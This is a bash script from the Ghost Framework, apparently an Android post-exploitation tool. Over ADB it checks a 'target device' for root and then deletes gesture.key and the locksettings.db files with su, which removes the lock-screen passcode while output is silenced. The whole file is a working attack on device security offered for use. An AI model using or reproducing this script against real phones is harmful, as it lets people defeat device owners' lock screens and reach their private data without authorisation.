#!/bin/bash

#            ---------------------------------------------------
#                              Ghost Framework                                                  
#            ---------------------------------------------------
#                Copyright (C) <2019-2020>  <Entynetproject>
#
#        This program is free software: you can redistribute it and/or modify
#        it under the terms of the GNU General Public License as published by
#        the Free Software Foundation, either version 3 of the License, or
#        any later version.
#
#        This program is distributed in the hope that it will be useful,
#        but WITHOUT ANY WARRANTY; without even the implied warranty of
#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#        GNU General Public License for more details.
#
#        You should have received a copy of the GNU General Public License
#        along with this program.  If not, see <http://www.gnu.org/licenses/>.

G="\033[1;34m[*] \033[0m"
E="\033[1;31m[-] \033[0m"

{
chr=$(adb shell which su)
} &> /dev/null

if [[ $chr = "" ]]
then
echo -e ""$E"Target device is not rooted!"
else
echo -e ""$G"Removing device passcode..."
sleep 0.5
echo -e ""$G"Removing /data/system/gesture.key..."
{
adb shell su 0 'rm /data/system/gesture.key' 
} &> /dev/null
echo -e ""$G"Removing /data/system/locksettings.db..."
{
adb shell su 0 'rm /data/system/locksettings.db' 
} &> /dev/null
echo -e ""$G"Removing /data/system/locksettings.db-wal..."
{
adb shell su 0 'rm /data/system/locksettings.db-wal' 
} &> dev/null
echo -e ""$G"Removing /data/system/locksettings.db-shm..."
{
adb shell su 0 'rm /data/system/locksettings.db-shm' 
} &> /dev/null
echo -e ""$G"Device passcode successfully removed!"
fi
